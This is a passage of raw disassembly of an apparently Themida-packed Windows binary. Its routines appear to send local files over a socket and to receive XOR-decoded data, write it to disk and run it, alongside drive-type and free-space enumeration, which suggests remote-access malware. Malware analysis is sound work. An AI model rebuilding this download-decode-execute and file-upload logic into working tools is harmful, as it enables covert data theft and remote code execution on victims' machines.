		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB9D4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CBA00
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380C8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB978
		push	dword ptr [ebp-2Eh]
		call	dword_4CB904
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al


loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CB9FC
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FEC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2730786h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380A8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		call	near ptr 2760B2Ch
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		push	eax
		call	dword_4CB9D0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_438090
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB9BC
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_438078
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_438054


loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBA6C
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax


loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 27A0000h
		nop
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2711089h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA24
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB9EC
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]


loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2680157h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438028
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h


loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA6C


loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h


loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438010
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2690AADh
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2730786h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_43818C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		nop
		call	near ptr 2680157h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_43815C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_43813C


loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h


loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB9D0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438010
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		nop
		call	near ptr 2700000h


loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438110
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBA6C


loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2700000h
		nop


loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB8D8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2730786h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438358
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop


loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		nop
		call	near ptr 26B0735h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB8E0
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 2720000h
		nop
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]


loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A


loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438330
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438308


loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_4382DC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		call	near ptr 26B0735h
		nop
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2680157h
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4382B4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43827C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB940
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_438260
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43821C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DB88
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 2680493h
		nop
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB92C
		call	sub_4188A6
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4381E8
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4381BC


loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA08
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D35F8
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA34
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383AC
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383A8
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8C4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]


loc_416E68:				; DATA XREF: Themida_:0055F021o
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
